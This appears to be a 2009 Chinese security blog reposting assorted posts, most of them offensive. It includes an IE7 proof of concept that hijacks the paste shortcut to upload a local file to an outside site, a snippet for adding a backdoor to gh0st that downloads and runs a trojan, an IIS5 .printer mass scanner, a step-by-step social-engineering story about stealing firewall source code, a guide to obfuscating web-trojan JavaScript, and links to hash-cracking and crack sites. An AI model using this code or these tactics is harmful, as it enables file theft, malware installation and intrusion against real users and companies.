2009年10月19日 星期一

Javascript Paste Keyboard Shortcuts Hijack

這樣的攻擊手段也算是極其無恥 猥瑣之極! 所以防禦措施一定要做好

首先說一下通過Javascript Paste Keyboard Shortcuts Hijack能做什麼???能夠讀取你本地機器任何文件! 沒錯!也就是說 你中了任何一個XSS 加上你按了粘貼快捷鍵後,你就有可能被別人讀取你機上任何的文件!

那到底是什麼回事呢? OK 我慢慢來說

首先 我們知道JS是無權限獲讀取你本地任何文件的... 那麼我們必須要讓用戶上傳自己的文件!

怎麼讓用戶上傳呢? 很簡單! 通過 <input type=file > 這樣就能讓用戶上傳文件了!

現在又一個問題是, input 為file的時候 value的值 不能用代碼set進去!必須要讓用戶自己填寫! 必須要通過人機交互!

其實說到這裡!聰明的你大致也應該明白怎麼回事! 接著說! 用戶不可能把自己的文件填寫上去提交給你看的吧?

沒錯~ 那麼 就等待用戶 進行快捷鍵粘貼的時候 哈哈~~說說步驟

1. 判斷是否 進行 ctrl + v

2. 替換粘貼板

3. 光標切換到 文件上傳

4. 善後工作就交給你了 ( 例如如何把上傳textbox透明化,當前頁面不會因表單提交而跳轉 )

IE7 下的 POC :
<HTML>
 <HEAD>
  <TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
 </HEAD>

<body   onkeydown="temp()">
<input>
<form action="http://learnns.blogspot.com/" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>

</BODY>
</HTML>


註: 本文轉載自網路 非原創
轉載自 QuantumIntelligence 原文

分享免費/空間動態域名/網盤/IP代理

1,免費動態域名申請
http://www.3322.org 希網
http://comexe.cn/ 科邁
http://www.comexe.cn
http://www.oray.net/ 花生殼
http://www.meibu.com/ 每步
http://ddns.vier.com.cn/ vier

2.免費網盤
http://www.fs2you.com/zh-cn/ 一個相當不錯的免費網絡U盤
http://www.namipan.com/ 納米盤,單文件最大200M。
http://www.live-share.com/
http://www.hack86.com/ 永碩E盤
http://www.vdisk.cn/www/
http://webdisk.cech.com.cn/
http://www.divshare.com/
http://www.esnips.com/
http://www.mediafire.com/
http://www.box.net/
http://skydrive.live.com/
http://www.sharebig.com/
http://www.zupload.com允許上傳500m的文件,幾乎無時限
http://www.putfile.com允許上傳25m的文件
http://www.turboupload.com/允許上傳70m的文件
http://www.wirefiles.com/上傳50M文件
http://www.zshare.net/允許上傳100m的文件,
http://www.yousendit.com/上傳1G文件,保留7天,限制下載次數,可多線程,推薦
http://updownloadserver.com/可以上傳250M的文件,速度不錯
http://upload2.net/以上傳25M的文件,保存時間一年
http://storeandserve.com/可以上傳100M的文件,30天之內有人下載就會一直保留
http://www.ultrashare.net/可以上傳30M的文件,速度還可以
http://www.filefront.com/無限空間,速度比較理想,推薦
http://easy-sharing.com/上傳75M的文件,下載次數不限,30天
http://www.filefactory.com/upload/可以上傳1.5G的文件,保存30天
http://fileupyours.com/上傳200M文件,無限期保存,無限期下載
http://datapickup.com/上傳1.5G文件,保存7天
http://www.transferbigfiles.com/上傳1G文件,保存5天
http://www.megashares.com/上傳1.5G文件,無限制下載
http://ww3.sharebigfile.com/上傳300M文件,可以開多個線程無限制下載,非常好
http://www.spread-it.com/上傳500M文件,30天
http://www.filecache.de/
http://megaupload.com/cn/
http://cn.ziddu.com/

3.在線製作LOGO的網站
http://free.logomaker.cn
http://logo.chinaz.com/
http://www.igogo8.com/
http://jack.asprise.net/software/imggen/generate.php
http://www.feedforall.com/public/rss-graphic-tool.htm

4.漏洞在線查詢網站。
http://www.sebug.net/

5.MD5在線破解網站
http://www.cmd5.com/
http://www.xmd5.org/index_cn.htm
http://md5.rednoize.com/(英文)

6.進程在線查詢
http://www.pcpid.com/
http://www.processlib.net/

7.IP查詢
http://www.ip168.com/
http://members.3322.org/dyndns/getip
http://www.ip138.com/ip2city.asp
http://www.ip168.com/IpInfo.asp?sType=0
http://www.net.cn/static/customercare/yourIP.asp

8.代理查詢
http://www.ipbbs.com/
http://info.hustonline.net/index/proxyshow.aspx(教育網)

9.源碼MD5
http://www.seeknot.com/index.asp

10.程序員之家
http://www.pudn.com/

11.DLL和ocx在線查詢或下載
http://www.dllfile.com/
http://www.dlldump.com/
http://www.ocxdump.com/

12.多引擎免費殺毒網址
http://www.virustotal.com/en/indexf.html
http://virusscan.jotti.org/
http://scanner.virus.org/
http://virscan.org/
http://www.3ctime.cn/shadu/

13.破解碼序列號大全網站
http://www.cracks.am/

14.免費圖片存放
http://www.yupoo.com

15.在線文字圖片生成
http://www.funonit.com
http://www.text-image.com/

16,在線詞典
http://dict.cn/
http://www.dicon.cn/
http://www.iciba.com/
http://www.ourdict.cn/
http://deyu.ohdict.com/
http://www.mydict.com/

17,免費空間
http://fw4.99081.com 動態,無廣告,1G,web管理
http://www.5944.net/ 動態,有廣告,1G,ftp和web管理
http://www.3326.com/ 靜態,無廣告,100M,ftp和web管理
http://www.mianfei.la/ 動態,有廣告,1G ,FTP管理
http://www.tofor.com/ 動態,速度快,沒廣告,50M,FTP管理

18,防火牆測評
http://www.firewallleaktester.com/
http://www.matousec.com/

19,網頁設計(DIV+CSS XHTML模板站和素材)
http://www.oswd.org/
http://www.solucija.com/home/css-templates/
http://www.tristarwebdesign.co.uk/templates.html
http://www.sixshootermedia.com/free-templates/
http://www.openwebdesign.org/
http://www.theyear1986.com/
http://www.80diy.com/
http://www.w3cn.org/
http://www.w3csites.com/

註: 本文轉載自網路 非原創
這篇是朋友從某論壇丟過來的
大家看看吧!


2009年10月18日 星期日

NOD32病毒庫自動更新代碼

最近nod32封殺了不少國內的發布免費ID的站點,使IP查找起來比較麻煩了,索性就用官方發佈的離線升級包弄個更新服務器,自己用。
官方離線升級包下載地址是:http://www.eset.com.cn/html/download/offline.shtml
用vc寫了段代碼,自動下載更新包並解壓至指定目錄,然後指定更新目錄為那個目錄就好了,建一個計劃任務,每天更新一次就實現自動更新了。
以下是簡單的代碼:

// download.cpp : 定義控制台應用程序的入口點。 
//code By:Neeao 
//http://Neeao.com 
#include "stdafx.h" 
#include <windows.h> 
#include <urlmon.h> 
#pragma comment(lib, "urlmon.lib") 

int _tmain(int argc, _TCHAR* argv[]) 
{    
    HRESULT hr=URLDownloadToFile(NULL,"http://down1.eset.com.cn/eset/offlinev2.rar","d:\\offlinev2.rar",0,NULL); 
    SHELLEXECUTEINFO ShExecInfo = {0};  
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;  
    ShExecInfo.hwnd = NULL;  
    ShExecInfo.lpVerb = NULL;  
    ShExecInfo.lpFile = "C:\\Program Files\\WinRAR\\RAR.exe"; //調用rar 
    ShExecInfo.lpParameters = "e d:\\offlinev2.rar -o+ D:\\offlinev2\\"; //執行的命令 
    ShExecInfo.lpDirectory = NULL;  
    ShExecInfo.nShow = SW_SHOW;  
    ShExecInfo.hInstApp = NULL;  
    ShellExecuteEx(&ShExecInfo);  
    WaitForSingleObject(ShExecInfo.hProcess,INFINITE);//等解壓縮完畢繼續往下執行 
      return 0; 
} 


註: 本文轉載自網路 非原創
轉載自 Neeao'sBlog 原文

2009年10月17日 星期六

Google Wave security features


Like the overwhelming majority of Google's "products", Google Wave (a real-time communication and collaboration tool) seems to be a really handy and easy-to-use. Having said that, let us concentrate a moment on its security aspects.

IT News reports that Greg D'Alesandre, the product manager of technology, explained that Wave has two features that make your "conversations" secure.

The first one makes sure that the information that travels from server to server can't be intercepted in the middle and "faked", because it comes integrated with authentication information that identifies the sending account.

The second one is the complete encryption of traffic via HTTPS in order to avoid packet sniffing. Users are not even given the option not to use it! Google has decided that in this instance security is more important than speed, and security experts around the world are probably applauding this decision and hoping that this is the beginning of a new way of thinking.

註: 本文轉載自網路 非原創
轉載自 Net-security 原文

2009年10月16日 星期五

社工案例: 誰洩漏的防火牆源代碼?

前景分析:
    22歲的劉昉在高中輟學後,先後做過食品銷售、商場員工、電子設備維護員等,這些經歷使得他精於與各式各樣的人打交道。但在接下來的5年,他瘋狂的迷上了 計算機,尤其對黑客技術感興趣,並涉足了地下黑客經濟。他接的業務很多,如對私服的DDOS、編寫針對性的網銀鍵盤記錄工具、遊戲裝備盜取洗錢等。
    但劉昉對重複性攻擊感到厭倦,顯然,有刺激的事物往往令人更感興趣。這次,他盯上了一套防火牆,由北京中關村恆天公司研發。據說這套防火牆一公佈便在業界大受好評,劉昉則不以為然,在他看來,防火牆的源代碼才能說服他。
一、銷售部門的後門
    劉昉從對外公佈的防火牆軟件中的菜單欄「幫助」處找到了恆天公司銷售部與市場部的聯繫電話,接著他
便以某公司採購部經理的身份撥通了恆天公司銷售部的電話。
    恆天公司(以下簡稱恆):「您好,這裡是恆天公司銷售部」
    劉漂陽(以下簡稱劉):「嗯,我是北京亞太機電股份有限公司採購部經理劉漂陽,我們公司需要500份防火牆軟件產品,我參考了網上的防火牆橫向評測,再三考慮後決定選擇你們的產品,現在我想知道你們給我的價格是否令人滿意。」
    恆:「劉經理,我們的防火牆有三種不同的版本,分別為個人版、專業版和企業版。如果你選擇企業版,它的單價是88元,總價為4.4萬;如果你批發購買、那麼價格相對優惠,僅3.2萬。」
    劉:「嗯,沒有高於我們公司原始估價,不過我們公司網絡環境相當複雜,你們公司是否可以定製一套,實現封堵公司員工聊天與下載的功能?」
    恆:「這個……請讓我問問軟件開發部,請稍等。」
    劉:「好的」
    …………
    恆:「久等了,技術員說了,防火牆自帶了過濾功能,只要過濾到相應端口就可以了。」
    劉:「原來是這樣,我沒有問題了,但我們公司網絡管理員建議我把有關內部網絡的文檔發給你,讓你們技術員檢查防火牆的可行性。你有電腦嗎?我想現在就傳送給你,稍後我還有一個會議急需參加。」
    恆:「有的,我的電子郵件是wenyu014@163.com,你現在就發過來?」
    劉:「是的,等一下……(這位「劉漂陽」將一個文件夾與一個批處理文件打包並用郵箱發到指定的郵件
地址)我發過去了,一個壓縮包,你解壓到D盤,要放在D盤才能打開。」
    恆:「嗯,解壓了,是那個「北京亞太機電有點股份公司局域網環境.bat」文件嗎?」
    劉:「對,你可以查看下,看看是否可以打開,可以打開的話,你就發一份給你們技術員」
    恆:「可以打開,只閃了一個黑窗口」
    劉:「好的,三天後我給你答覆」
    恆:「劉經理,再見!」
    計劃很順利,劉昉成功利用社會工程學在恆天公司開啟了一個共享文件夾,文件夾以壓縮包的「WALL」命名,裡面包含了一個文件夾和批處理。不過批處理文件早已自刪除了,其作用就是開啟共享文件夾,並將另一個文件夾中的DOC文檔複製到當前目錄。
    二、合作者的陰謀
    防火牆源代碼是軟件公司的命根子,只有軟件開發人員才得以接觸,但劉昉對這些技術人員一無所知,他需要弄到一些基本信息,以及找一個可信的裡有。這次他以百度市場拓展部經理丁楠的身份撥通了恆天公司市場部的電話。
    市場部:「您好,恆天公司市場部。」
    丁楠:「我是百度拓展部經理丁楠,貴公司有合作的意向嗎?」
    市場部:「百度?是在北京市北四環路58號理想大廈嗎?全球最大的搜索引擎?」
    丁楠:「是的,我們公司計劃整合國內多家尖端軟件產品進行合作,以提升企業形象與影響力,目前國內有三家上市軟件公司參與,不知恆天公司……」
    市場部:「我們恆天企業才運營半年,在業界也暫無廣泛的知名度,能與貴公司合作再好不過了,但合作的決定權不在我們市場部,這個需要內部討論才能再作商議。」
    丁楠:「這樣吧,我給你們恆天公司5天的考慮時間在做決定,如何?」
    市場部:「可以!可以!」
    丁楠:「嗯,你是市場部的負責人嗎?」
    市場部:「是的,市場部,車仁表」
    丁楠:「那麼,車經理,我想瞭解恆天公司的大致情況,雖然我們李彥宏董事長早有此計劃,但我需要一些資料說服部分反對的股東,因此,麻煩提供你們公司整體 運營情況,如季度的銷售額,還有軟件開發人員的資料。關於合作事宜百度公司將於明早八點半開股東大會對此作出決定。」
    市場部:「這麼快?好的,資料我如何發給你呢?」
    丁楠:「發到我的郵箱吧「by1943@qq.com」,最後,我們明早9點聯繫你,如何?」
    市場部:「可以的,謝謝!」
    大概半小時後,劉昉很順利的拿到一份清晰的員工表格,看上去,資料來源於人力資源部。劉昉很確定,恆天公司的市場負責人一定被「合作」沖昏了大腦,竟然把公司財務損益都發過來了。
    三、消失的100萬源代碼
    很自然,劉昉花了幾分鐘社工到信息後,打算冒稱恆天公司市場部另一位負責人王坤,並撥通了恆天公司軟件研發部技術人員劉剛的電話。
    劉剛:「哪位?」
    王坤:「是軟件開發部的劉剛吧?我是市場部負責人王坤,你不久前知道了公司將與百度合作的情況吧?」
    劉剛:「好像是吧,我不確定。」
    王坤:「嗯,百度要投資我們,你所在的服務器工作站打不打算置換?有這個打算的話,我跟財務部小王交涉下」
    劉剛:「換吧!換吧!最近機箱動不動就有怪聲(劉剛對工作站的機子似乎有極度的不滿,迫於企業資金緊張,他也就沒提起,現在是個好機會)」
    王坤:「很好,你把源代碼放到咱們內網做個備份,以免丟失了。嗯,我特意在銷售部的機子開了個共享,你把源碼放上去,下午6點新機器從電腦城元送過來,機器裝好後在刪掉源碼。」
    劉剛:「好的,但是源碼會不會洩漏出去了?(劉剛有些擔心。)」
    王坤:「沒事,現在4點,再過兩小時你就刪掉,而且我們機子都在內網,何況不是還有咱的防火牆嗎?少擔心了,你要對你的防火牆信任!」
    劉剛:「OK!知道了!」  劉剛掛掉了電話。
    緊接著,劉昉再次撥通恆天公司銷售部的電話……
    銷售部:「劉經理?」(一看到號碼,一下就認出來了。)
    劉漂陽:「嗯,我是採購部的劉經理,我在途中想到一件事,所以打電話問一下。」
    銷售部:「請說。」
    劉:「我似乎發錯文件了,除了發給你網絡環境.bat之外,我還發送了其他文件,你檢查一下有沒有多餘的文件?」
    銷售部:「好的,我查查,在D盤的WALL文件夾對吧?」
    劉:「對」
    銷售部:「嗯,在WALL文件夾裡的另一個文件夾包含了一些打不開的文件,你指的是這些嗎?」
    劉:「對,能發給我嗎?那是我其他的採購項目表,需要相應的軟件才能打開。(劉經理很誠懇的解釋。)要是項目表丟了,我的工作也就丟了。」
    銷售部:「這樣啊,不要緊,我馬上打包發到你郵箱裡。(接著是鍵盤的敲打聲……)我發過去了,劉經理,您打開郵箱看一下」
    劉:「收到了,謝謝你了!」
    銷售部:「嗯,沒問題的話我先掛了,劉先生,別忘了防火牆的採購!」
    劉:「好的,再見!」
    就這樣,撥打三次電話的劉昉搞定了防火牆源代碼,不過為什麼銷售部的人說打不開那些文件呢?很簡單,她沒有安裝編程軟件,所以打不開。雖有,劉昉用網名 「神秘小強」將全部的防火牆源代碼公佈在很多黑客論壇……第二天,門戶站報導了這一代碼洩漏事件,網警對此束手無策。

註: 本文轉載自網路 非原創
轉載自 YeZi's Blog 原文

2009年10月15日 星期四

2009年10月13日 星期二

NIS2010德國免費6個月KEY申請

https://emea.norton.com/trialware/2009/avfbild/
申請的是NIS2009的KEY,但是NIS2010也可以使用!
德國活動,手腳要快!

1.填信箱 旁邊那欄也隨便挑個
2.下面2個打勾
3.提交
4.收信>>點信箱中的連結
5.在收到6個月(180天)的KEY

可下載安裝繁體中文版
然後套用半年KEY

Norton Internet Security 2010
17.0.0.136 繁体中文正式版官方下載
http://spftrl.digitalriver.com/pub/symantec/tbyb/NAM/NIS10TBCH.exe
17.0.0.136 英文正式版官方下載
http://spftrl.digitalriver.com/pub/symantec/tbyb/NAM/NIS10TBEN.exe

此防毒軟體相關資訊請參考:
台灣諾頓 http://www.symantec.com/zh/tw/norton/internet-security

註: 本文轉載自網路 非原創
轉載自 PTT-AntiVirus by EVA

2009年10月12日 星期一

New Comodo scored perfectly!

  • 2009-10-10: A new response from Comodo Security Solutions, Inc., the vendor of Comodo Internet Security, has been added.
  • 2009-10-10: A single product update:
    • Comodo Internet Security 3.12.111745.560
    Per its vendor's request, we have tested the latest version of Comodo Internet Security. As the first product, Comodo Internet Security reached the perfect score against all 84 tests in the testing suite. Congratulations!
    The great results of the challenge leading products in the last tests force us to implement new tests to our testing suite. We are going to cover even more areas of Windows security with many new tests in the following months in order to raise the bar just a bit again.



    註: 本文轉載自網路 非原創
    轉載自 Matousec.com


2009年10月10日 星期六

一個包含詳細註釋的掃瞄器C源代碼

程式碼
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#define iPort 80//目標Web Server端口
.#define szSign "500 13\r\nServer: Microsoft-IIS/5.0"//根據此標誌來檢查目標是否有漏洞
#pragma comment(lib,"ws2_32.lib")
///////////////////////////////////////////////////////////////////////////
//
//定義&初始化全局變量
char *SendBuff="GET /NULL.printer\n",//發送的請求buff
CurrentTarget[52]={0},//存放最後一個線程將掃瞄的目標
turn[4][2]={"-","\\","|","/"};//顯示進度時的字符
int SendBuffLen=strlen(SendBuff),//發送的buff長度
iConnTimeout,//TCP Connect TimeOut
ii=0,//掃瞄進度
    iTotal;//服務器總數
HANDLE hSemaphore=NULL,//信標內核對象句柄,用來控制線程數量
       hStdout;//console標準輸出句柄,做進度顯示的時候用的
struct timeval timeout;//連接、發送和接收的超時值
DWORD SleepTime;//每個一個線程後等待的時間
    /*
SleepTime值根據用戶輸入的線程數量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來計算。確保在CONNTIMEO時間左右開ThreadNum個線程。這樣在CONNTIMEO時間後,所開的線程開始陸續超時退出,可以繼續穩定的開線程,可以有效的保證同時有ThreadNum個線程在運行。
*/
///////////////////////////////////////////////////////////////////////////
void ShowError(char *);//顯示出錯信息函數
BOOL ResetCursor(void);//重置光標位置,線程輸出的時候調用的
DWORD WINAPI ShowProInfo(LPVOID);//顯示進度信息
DWORD WINAPI scan(LPVOID);//掃瞄函數
void usage(char *);//幫助函數
///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
    HANDLE hThread=NULL;//線程句柄
    DWORD dwThreadID;//線程ID
    struct sockaddr_in sa;
    int i,
       MaxThread;//最大線程數量
    WSADATA    wsd;
    long PreviousCount;
    clock_t start,end;//程序運行的起始和結束時間
    double duration;
    //檢查用戶輸入參數
    if(argc!=5)
    {
       usage(argv[0]);
       return 1;
    }
    //get target range
    int StartNet=inet_addr(argv[1]);
    int StopNet=inet_addr(argv[2]);
    int StartHost=ntohl(StartNet);
    int StopHost=ntohl(StopNet);
    //取得線程數量
    MaxThread=atoi(argv[3]);
    //取得conn超時時間
    iConnTimeout=atoi(argv[4]);
    //檢查參數合法性
    if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread<1) || (MaxThread>500) || (StopHost<StartHost))
    {
       usage(argv[0]);
       return 1;
    }
    //計算時間
    SleepTime=1000*iConnTimeout/MaxThread;
    //設置連接超時值
    timeout.tv_sec = iConnTimeout;
    timeout.tv_usec =0;
    __try
    {
       //開始計時
       start=clock();
       //加載winsock庫
       if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
       {
           ShowError("WSAStartup");
           __leave;
       }
       //創建信標內核對象句柄
       hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
       if(hSemaphore==NULL)
       {
           ShowError("CreateSemaphore");
           __leave;
       }
       //取得console標準輸出句柄
       hStdout=GetStdHandle(STD_OUTPUT_HANDLE);
       if(hStdout==INVALID_HANDLE_VALUE)
       {
           ShowError("GetStdHandle");
           __leave;
       }
       //設置目標總數
       iTotal=StopHost-StartHost;
       //創建進度顯示線程
       hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);
       if(hThread==NULL)
       {
           ShowError("1 CreateThread");
           __leave;
       }
//關閉句柄
       CloseHandle(hThread);
       //循環創建掃瞄線程
       for(i=StartHost;i<=StopHost;i++)
       {
           //等待信標內核對象通知
           WaitForSingleObject(hSemaphore,INFINITE);
           //create thread to scan
           hThread=CreateThread(NULL,0,scan,(LPVOID)i,0,&dwThreadID);
           if(hThread==NULL)
           {
              ShowError("2 CreateThread");
              break;
           }
           //進度自加1
           ii++;
           //重設最後一個線程掃瞄的目標
           sa.sin_addr.s_addr=htonl(i);
           strncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));
          //休息一會兒 )
           Sleep(SleepTime);
           //關閉線程句柄
           CloseHandle(hThread);
       }
       //等待所有線程結束
       while(1)
       {
           WaitForSingleObject(hSemaphore,INFINITE);
           if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))
           {
              ShowError("main() ReleaseSemaphore");
              Sleep(5000);
              break;
           }
           if(PreviousCount==(MaxThread-1))
           {
              printf("\nAll done.");
              break;
           }
           Sleep(500);
       }
    }//end of try
    //搞定,清場,收工
    __finally
    {
       //計時結束
       end=clock();
       //轉換時間格式
       duration = (double)(end - start) / CLOCKS_PER_SEC;
       //顯示所用時間
       printf("\n\nComplete.Scan %d targets use %2.1f seconds.Speed %0.3g/s\n",iTotal,duration,iTotal/duration);
       //關閉句柄
       CloseHandle(hStdout);
       CloseHandle(hSemaphore);
       WSACleanup();
    }
    return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//回顯錯誤信息函數
//
void ShowError(char *msg)
{
    MessageBox(NULL,msg,"ERROR",0);
    //printf("\n%s failed:%d",GetLastError());
}
//////////////////////////////////////////////////////////////////////////
//
//重置光標位置函數,以便掃瞄線程輸出結果
//
BOOL ResetCursor()
{
    CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
    //取得當前光標位置
    if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
    {
       ShowError("GetConsoleScreenBufferInfo");
       return FALSE;
    }
    //設置光標X坐標為0
    ConsoleScreenBufferInfo.dwCursorPosition.X=0;
    //設置當前光標位置
    SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
    return TRUE;
}
///////////////////////////////////////////////////////////////////////////
//
//顯示進度信息函數
//
DWORD WINAPI ShowProInfo(LPVOID lp)
{  
    int j,k;
    CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;
    float m;
    for(j=0;ii<iTotal;j++)
    {
       //休息一會兒 ))
       Sleep(SleepTime);
       //取得當前光標位置
       if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))
       {
           ShowError("GetConsoleScreenBufferInfo");
           return 1;
       }
       //設置百分比進度顯示的X坐標
       ConsoleScreenBufferInfo.dwCursorPosition.X=0;
       //設置當前光標位置
       SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);
       //已經完成的百分比
       m=(ii+1)*100.00/iTotal;
       //顯示進度
       if(ii==iTotal)
       {
           printf("******** 100%% Wait %d seconds to exit ********       \n",iConnTimeout);
           break;
       }
       else
       {
           k=j%4;
           printf("%-15s %s [%d/%d] %s %%%0.3g",CurrentTarget,turn[k],ii,iTotal,turn[k],m);
       }
    }//end of for
    return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//掃瞄函數
//
DWORD WINAPI scan(LPVOID lp)
{
    int i=(int)lp,iErr;
    struct sockaddr_in server;
    SOCKET s=INVALID_SOCKET;
    char RecvBuff[1024]={0},*ptr;
    int RecvBuffLen=sizeof(RecvBuff);
    u_long ul=1;//初始化為為非0值
  fd_set r,w;
    //create socket
    s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(s==INVALID_SOCKET)
    {
       printf("\nCreate socket failed:%d",GetLastError());
       ExitProcess(1);
    }
    //fill the addr struct
    server.sin_family=AF_INET;
    server.sin_port=htons(iPort);
    server.sin_addr.S_un.S_addr=htonl(i);
    __try
    {
       //設置socket為非鎖定模式,ul為0值的話,那麼soocket將被設置為鎖定模式
       iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);
       if(iErr==SOCKET_ERROR )
       {
           ResetCursor();
           ShowError("ioctlsocket");
           ExitProcess(1);
       }
       //printf("\n%X ioctl ok.strat conn",i);
       //connect to target
       connect(s,(struct sockaddr *)&server,sizeof(server));
       //printf("\n%X conn return,start select w",i);
       //設置select參數
       FD_ZERO(&w);
       FD_SET(s, &w);
       //等待connect成功&socket可寫
       iErr=select(0, 0, &w, 0, &timeout);
       //printf("\n%X select w return %d",i,iErr);
       //等待返回後,socket仍不可寫則退出
       if((iErr==SOCKET_ERROR) || (iErr==0))
       {
           //printf("\n%X select return w err,exit",i);
           __leave;
       }
       //socket可寫則繼續
       else
       {
           //send buff to target
           //printf("\n%X send",i);
           iErr=send(s,SendBuff,SendBuffLen,0);
           //printf("\n%X send return",i);
           if(iErr==SOCKET_ERROR)
              __leave;
       }
       //等待socket可讀
       FD_ZERO(&r);
       FD_SET(s, &r);
       //printf("\n%X start select r",i);
       iErr=select(0, &r, 0, 0, &timeout);
       //printf("\n%X select r return %d",i,iErr);
       if((iErr==SOCKET_ERROR) || (iErr==0))
       {
           //printf("\n%X select r err,exit",i);
           __leave;
       }
       else
       {
           //recv buff from target
           //printf("\n%X start recv",i);
           iErr=recv(s,RecvBuff,RecvBuffLen,0);
           //printf("\n%X recv ret",i);
           if(iErr==SOCKET_ERROR)
              __leave;
       }
       //verify buff
       ptr=strstr(RecvBuff,szSign);
       if(ptr!=NULL)
       {
           //線程輸出前要先調用ResetCursor函數
           ResetCursor();
           //輸出信息後務必加一個以上換行符號,輸出前請別加換行符號,以免顯示混亂
           printf("[%-15s] has .printer mapped.        \n",inet_ntoa(server.sin_addr));
       }
    }
    __finally
    {
       if(!ReleaseSemaphore(hSemaphore,1,NULL))
           ShowError("thread ReleaseSemaphore failed");
       closesocket(s);
    }
    return 0;
}
///////////////////////////////////////////////////////////////////////////
void usage(char *proname)
{
    printf("\n%s v0.1 only can find IIS5 .Printer mapped"
       "\nPower by ey4s<[email]ey4s@21cn.com[/email]> 2001.5.20"
       "\nhttp://www.patching.net"
       "\n\nUsage:%s <StartIP> <EndIP> <ThreadNum> <CONNTIMEO>"
       "\n\nNotice"
       "\n    StartIP StopIP ==>Don『t forgot StopIP must large than StartIP "
       "\n    ThreadNum ==>Thread number,please input between 1-500"
       "\n    CONNTIMEO ==>TCP connect timeout,please input between 2-6"
       "\n\nExample"
       "\n    %s 192.168.0.0 192.168.255.255 200 2",proname,proname,proname);
} 

註: 本文轉載自網路 非原創
轉載自 ey4s@21cn.com

milw0rm.com DOWN?!

milw0rm.com
最近怎都進不去...
有人知道原因嗎...

gh0st加後門方法

程式代碼為C
#include<windows.h>
#include<urlmon.h> //這個可以不要
#include<process.h>   //這個可以不要
#include<Shellapi.h>   //這個是對ShellExecute的定義
#pragma comment (lib,"Urlmon.lib") //這個也可以不要,有DLL可以用

/*
step1. 下載程序
step2. 如果重開機 以上運行
*/

//----------step 1-------------
int main(){
    //下載到C:\test.exe
    URLDownloadToFile(NULL,"木馬地址","C:\test.exe",0,NULL);
    //執行test.exe
    ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW); 
    return 0;
}
//----------step 2-------------
HKEY hKey;
DWORD dw;
DWORD dwData = 0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS)
//如果存在 就執行下面代碼  
{
    //RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey);
    RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
    //RegSetValueEx(hKey,  "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD));
    //file();
}
else{
//file();
}

註: 本文轉載自網路 非原創
轉載自 邪惡八進制信息安全團隊

2009年10月9日 星期五

HTML之七種加密方式

本文一共介紹了七種方法:
一:最簡單的加密解密
二:轉義字符""的妙用
三:使用Microsoft出品的腳本編碼器Script Encoder來進行編碼 (自創簡單解碼)
四:任意添加NUL空字符(十六進制00H) (自創)
五:無用內容混亂以及換行空格TAB大法
六:自寫解密函數法
七:錯誤的利用 (自創)

在做網頁時(其實是網頁木馬呵呵),最讓人煩惱的是自己辛辛苦苦寫出來的客戶端IE運行的JAVASCRIPT代碼常常被別人輕易的拷貝,實在讓自己的心裡有點不是滋味,要知道自己寫點東西也挺累的......^*^
但我們也應該清楚地認識到因為JAVASCRIPT代碼是在IE中解釋執行,要想絕對的保密是不可能的,我們要做的就是儘可能的增大拷貝者複製的難度,讓他知難而退(但願~!~),下面我結合自己這幾年來的實踐,及個人研究的心得,和大家一起來探討一下網頁中JAVASCRIPT代碼的加密解密技術。
以加密下面的JAVASCRIPT代碼為例:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

alert("黑客防線");

</SCRIPT>


一:最簡單的加密解密
大家對於JAVASCRIPT函數escape()和unescape()想必是比較瞭解啦(很多網頁加密在用它們),分別是編碼和解碼字符串,比如例子代碼用escape()函數加密後變為如下格式:
以下是代碼片段:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B
如何?還看的懂嗎?當然其中的ASCII字符"alert"並沒有被加密,如果願意我們可以寫點JAVASCRIPT代碼重新把它加密如下:
以下是代碼片段:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

呵呵!如何?這次是完全都加密了!
當然,這樣加密後的代碼是不能直接運行的,幸好還有eval(codeString)可用,這個函數的作用就是檢查JavaScript代碼並執行,必選項 codeString 參數是包含有效 JavaScript 代碼的字符串值,加上上面的解碼unescape(),加密後的結果如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");

eval(code)

</SCRIPT>
是不是很簡單?不要高興,解密也就同樣的簡單,解密代碼都擺給別人啦(unescape())!呵呵
二:轉義字符""的妙用
